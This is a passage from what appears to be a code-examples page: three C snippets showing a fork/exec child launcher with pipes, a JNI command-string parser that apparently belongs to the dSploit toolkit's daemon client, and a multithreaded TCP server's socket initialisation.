  if(!data) {
    print( ERROR, "cannot extract data" );
    goto start_fail;
  }
  
  if(cmd) {
    data->argv[0] = cmd;
  }
  
  if(pipe2(pexec, O_CLOEXEC)) {
    print( ERROR, "exec pipe: %s", strerror(errno) );
    goto start_fail;
  }
  
  if(h->have_stdin && pipe(pin)) {
    print( ERROR, "input pipe: %s", strerror(errno) );
    goto start_fail;
  }
  
  if(h->have_stdout && pipe(pout)) {
    print( ERROR, "output pipe: %s", strerror(errno) );
    goto start_fail;
  }
  
  if(pipe(perr)) {
    print( ERROR, "error pipe: %s", strerror(errno));
    goto start_fail;
  }
  
  
  if((pid = fork()) < 0) {
    print( ERROR, "fork: %s", strerror(errno) );
    goto start_fail;
  } else if(!pid) {
    // child
    close(pexec[0]);
    close(pin[1]);
    close(pout[0]);
    close(perr[0]);
    
    if(pin[0] == -1 || pout[1] == -1) {
      i= open("/dev/null", O_RDWR);
      
      if(pin[0] == -1)
        pin[0] = dup(i);
      if(pout[1] == -1)
        pout[1] = dup(i);
      
      close(i);
    }
    
    if(h->workdir && chdir(h->workdir)) {
      print ( ERROR, "chdir: %s", strerror(errno));
      goto error;
    }
    
    dup2(pin[0], STDIN_FILENO);
    
    close(pin[0]);
    
    dup2(pout[1], STDOUT_FILENO);
    
    close(pout[1]);
    
    dup2(perr[1], STDERR_FILENO);
    
    close(perr[1]);
    
    cmd = data->env_start;
    
    while(cmd) {
      if(putenv(cmd)) {
        print( ERROR, "putenv(\"%s\"): %s", cmd, strerror(errno));
        goto error;
      }
      cmd=string_array_next(msg, request_info->data, cmd);
    }
    
    execvp(data->argv[0], data->argv);
    print( ERROR, "execvp: %s", strerror(errno));
    
    error:
    
    write(pexec[1], "!", 1);
    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);
    close(pexec[1]);
    exit(-1);
  } else {
    // parent
    close(pexec[1]);
    close(pin[0]);
    close(pout[1]);
    close(perr[1]);
    
    free_start_data(data);
    data = NULL;
    
    if(read(pexec[0], &i, 1)) {
      waitpid(pid, NULL, 0);
      goto start_fail;
    }
#ifndef NDEBUG
    print( DEBUG, "successfully started a child for '%s' (pid=%d)", h->name, pid );
#endif
    close(pexec[0]);
  }
  
  c->pid = pid;
  
  if(h->have_stdin)
    c->stdin_fd = pin[1];
  
  if(h->have_stdout)
    c->stdout_fd = pout[0];
  
  c->stderr_fd = perr[0];
  
  pthread_mutex_lock(&(conn->children.control.mutex));
  if(pthread_create(&(c->tid), NULL, &handle_child, c)) {
    i=errno;
    pthread_mutex_unlock(&(conn->children.control.mutex));
    print( ERROR, "pthread_craete: %s", strerror(i) );
    goto start_fail;
  }
  list_add(&(conn->children.list), (node *)c);
  pthread_mutex_unlock(&(conn->children.control.mutex));
  
  pthread_cond_broadcast(&(conn->children.control.cond));
  
  msg = create_message(seq, sizeof(struct cmd_started_info), CTRL_ID);
  
  if(!msg) {
    print( ERROR, "cannot create messages" );
    goto start_fail;
  }
  
  reply_info = (struct cmd_started_info *)msg->data;
  reply_info->cmd_action = CMD_STARTED;
  reply_info->id = c->id;
  
  return msg;
  
  start_fail:
  if(c)
    free(c);
  if(data)
    free_start_data(data);
  // no care about EBADF, ensure to close all opened fd
  close(pexec[0]);
  close(pexec[1]);
  close(pin[0]);
  close(pin[1]);
  close(pout[0]);
  close(pout[1]);
  close(perr[0]);
  close(perr[1]);
  
  if(msg)
    dump_message(msg);
  
  if(pid)
    kill(pid, 9);
  
  msg = create_message(seq, sizeof(struct cmd_fail_info), CTRL_ID);
  
  if(!msg) {
    print( ERROR, "cannot create messages" );
    return NULL;
  }
  
  ((struct cmd_fail_info *)msg->data)->cmd_action = CMD_FAIL;
  return msg;
}
Example #27
0
int start_command(JNIEnv *env, jclass clazz __attribute__((unused)), jstring jhandler, jstring jcmd) {
  char status;
  char *pos, *start, *end, *rpos, *wpos;
  const char *utf;
  jstring *utf_parent;
  handler *h;
  uint32_t msg_size; // big enought to check for uint16_t overflow
  int id;
  size_t arg_len, escapes;
  struct cmd_start_info *start_info;
  message *m;
  child_node *c;
  
  id = -1;
  m=NULL;
  c=NULL;
  
  if(!authenticated()) {
    LOGE("%s: not authenticated", __func__);
    return -1;
  }
  
  utf = (*env)->GetStringUTFChars(env, jhandler, NULL);
  utf_parent = &jhandler;
  
  if(!utf) {
    LOGE("%s: cannot get handler name", __func__);
    goto jni_error;
  }
  
  arg_len = (*env)->GetStringUTFLength(env, jhandler);
  
  if(!arg_len) {
    LOGE("%s: empty handler name", __func__);
    goto jni_error;
  }
  
  arg_len++; // test even the '\0'
  
  for(h=(handler *) handlers.list.head;h && strncmp(utf, h->name, arg_len);h=(handler *) h->next);
  
  if(!h) {
    LOGE("%s: handler \"%s\" not found", __func__, utf);
    goto exit;
  }
  
  (*env)->ReleaseStringUTFChars(env, jhandler, utf);
  utf = (*env)->GetStringUTFChars(env, jcmd, NULL);
  utf_parent = &jcmd;
  
  if(!utf) {
    LOGE("%s: cannot get command string", __func__);
    goto jni_error;
  }
  
  LOGD("%s: parsing \"%s\"", __func__, utf);
  
  msg_size = sizeof(struct cmd_start_info);
  m = create_message(get_sequence(&ctrl_seq, &ctrl_seq_lock),
                      msg_size, CTRL_ID);
  
  if(!m) {
    LOGE("%s: cannot create messages", __func__);
    goto exit;
  }
  
  start_info = (struct cmd_start_info *) m->data;
  start_info->cmd_action = CMD_START;
  start_info->hid = h->id;
  
  status = 0;
  arg_len = 0;
  escapes = 0;
  start = end = NULL;
  
  for(pos=(char *) utf;!(status & END_OF_STRING);pos++) {
    
    // string status parser
    switch (*pos) {
      case '"':
        if(status & ESCAPE_FOUND) {
          escapes++;
        } else if(status & (INSIDE_SINGLE_QUOTE)) {
          // copy it as a normal char
        } else if(status & INSIDE_DOUBLE_QUOTE) {
          status &= ~INSIDE_DOUBLE_QUOTE;
          end = pos;
        } else {
          status |= INSIDE_DOUBLE_QUOTE;
        }
        break;
      case '\'':
        if(status & ESCAPE_FOUND) {
          escapes++;
        } else if(status & INSIDE_DOUBLE_QUOTE) {
          // copy it as a normal char
        } else if(status & INSIDE_SINGLE_QUOTE) {
          status &= ~INSIDE_SINGLE_QUOTE;
          end = pos;
        } else {
          status |= INSIDE_SINGLE_QUOTE;
        }
        break;
      case '\\':
        if(status & ESCAPE_FOUND) {
          // copy it as normal char
          escapes++;
        } else {
          status |= ESCAPE_FOUND;
          continue;
        }
        break;
      case ' ': // if(isspace(*pos))
      case '\t':
        if(status & ESCAPE_FOUND) {
          escapes++;
        } else if(!status && start) {
          end=pos;
        }
        break;
      case '\0':
        status |= END_OF_STRING;
        end=pos;
        break;
      default:
        if(!start)
          start=pos;
    }
    
    status &= ~ESCAPE_FOUND;
    
    // copy the arg if found
    if(start && end) {
      
      LOGD("%s: argument found: start=%d, end=%d", __func__, (start-utf), (end-utf));
      arg_len=(end-start);
      arg_len-= escapes;
      
      msg_size+=arg_len + 1;
      
      if(msg_size > UINT16_MAX) {
        LOGW("%s: command too long: \"%s\"", __func__, utf);
        goto exit;
      }
      
      m->data = realloc(m->data, msg_size);
      
      if(!m->data) {
        LOGE("%s: realloc: %s", __func__, strerror(errno));
        goto exit;
      }
      
      wpos = m->data + m->head.size;
      for(rpos=start;rpos<end;rpos++) {
        if(status & ESCAPE_FOUND) {
          status &= ~ESCAPE_FOUND;
          if( *rpos != '\\' &&
              *rpos != '"' &&
              *rpos != '\'' &&
              *rpos != ' ' &&
              *rpos != '\t') {
            // unrecognized escape sequence, copy the backslash as it is.
            *wpos = '\\';
            wpos++;
          }
        } else if(*rpos == '\\') {
          status |= ESCAPE_FOUND;
          continue;
        }
        *wpos=*rpos;
        wpos++;
      }
      *(m->data + msg_size -1) = '\0';
      
      m->head.size = msg_size;
      
      start = end = NULL;
      escapes = 0;
    }
  }
  
  // create child
  
  c = create_child(m->head.seq);
  
  if(!c) {
    LOGE("%s: cannot craete child", __func__);
    goto exit;
  }
  
  c->handler = h;
  
  // add child to list
  
  pthread_mutex_lock(&(children.control.mutex));
  list_add(&(children.list), (node *) c);
  pthread_mutex_unlock(&(children.control.mutex));
  
  // send message to dSploitd
  
  pthread_mutex_lock(&write_lock);
  // OPTIMIZATION: use escapes to store return value for later check
  escapes = send_message(sockfd, m);
  pthread_mutex_unlock(&write_lock);
  
  if(escapes) {
    LOGE("%s: cannot send messages", __func__);
    goto exit;
  }
  
  // wait for CMD_STARTED or CMD_FAIL
  
  pthread_mutex_lock(&(children.control.mutex));
  
  while(c->seq && children.control.active)
    pthread_cond_wait(&(children.control.cond), &(children.control.mutex));
  
  if(c->id == CTRL_ID || c->seq) { // command failed
    list_del(&(children.list), (node *) c);
  } else {
    id = c->id;
  }
  
  c->pending = 0;
  
  pthread_mutex_unlock(&(children.control.mutex));
  
  pthread_cond_broadcast(&(children.control.cond));
  
  if(id != -1) {
    LOGI("%s: child #%d started", __func__, id);
  } else if(c->seq) {
    LOGW("%s: pending child cancelled", __func__);
  } else {
    LOGW("%s: cannot start command", __func__);
  }
  
  goto exit;
  
  jni_error:
  if((*env)->ExceptionCheck(env)) {
    (*env)->ExceptionDescribe(env);
    (*env)->ExceptionClear(env);
  }
  
  exit:
  if(c && id==-1) {
    pthread_mutex_lock(&(children.control.mutex));
    list_del(&(children.list), (node *) c);
    pthread_mutex_unlock(&(children.control.mutex));
    pthread_cond_broadcast(&(children.control.cond));
    free_child(c);
  }
  
  if(m)
    free_message(m);
  
  if(utf)
    (*env)->ReleaseStringUTFChars(env, *utf_parent, utf);
  
  return id;
}
Example #28
0
/* init_conn()
 * 
 * Open sockets, allocate memory for the Child array and create all the
 * threads.
 * */
int
init_conn		(int port, int num_children, int closed_timeout)
{
    int i;
    const int reuse = 1;
    struct sockaddr_in server_address;
    char * add_info;
	
    if ((children = malloc(num_children * sizeof(Child))) == NULL)
    {
	log_message(CRITICAL, EMSG_CHILDALLOC, NULL);
	return (ECOD_CHILDALLOC);
    }
	
    atomic_add_int(&alive_flag);
	
    /* Create the server socket. */
    if ((server_sd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
	log_message(CRITICAL, EMSG_SOCKET, NULL);
	return(ECOD_SOCKET);
    }

    /* Set this to avoid TIME_WAIT problems reusing the socket. */
    if (setsockopt(server_sd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(int)) < 0)
    {
	log_message(WARNING, EMSG_REUSEADDR, NULL);
    }

    /* Sets the connection information and bind it. */
    memset((char *) &server_address, 0, sizeof(struct sockaddr_in));
    server_address.sin_family = AF_INET;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_address.sin_port = htons(port);

    if (bind(server_sd, (struct sockaddr *) &server_address, sizeof(struct sockaddr_in)) < 0)
    {
	close(server_sd);
	log_message(CRITICAL, EMSG_BIND, NULL);
	return (ECOD_BIND);
    }

    /* Listen for incoming connections.
     * Stablishes a queue per children to avoid losing requests.
     * */
    if (listen(server_sd, num_children * QUEUE_PER_CHILD) < 0)
    {
	close(server_sd);
	log_message(CRITICAL, EMSG_LISTEN, NULL);
	return (ECOD_LISTEN);
    }
	
    asprintf(&add_info, "Listening port: %d; Active threads: %d\n", port, num_children);
    log_message(MESSAGE, IMSG_CONNINIT, add_info);
    free(add_info);

    /* Set linger timeout. */
    if (closed_timeout > 0)
    {
	close_timeout.l_onoff = 1;
	close_timeout.l_linger = closed_timeout;
    }
    else
    {
	close_timeout.l_onoff = 0;
    }

    for (i = 0; i < num_children; i++)
    {
	children[i].conn_count = 0;
		
	if (create_child(i) != 0)
	{
	    /* This error should be managed more precisely.
	     * Maybe it might go on with at least 1 thread.
	     * */
	    log_message(ERROR, EMSG_CREATECHILD, NULL);
	    return (ECOD_CREATECHILD);
	}
	else
	{
	    atomic_add_child();
	}
    }

    return (EXIT_SUCCESS);
}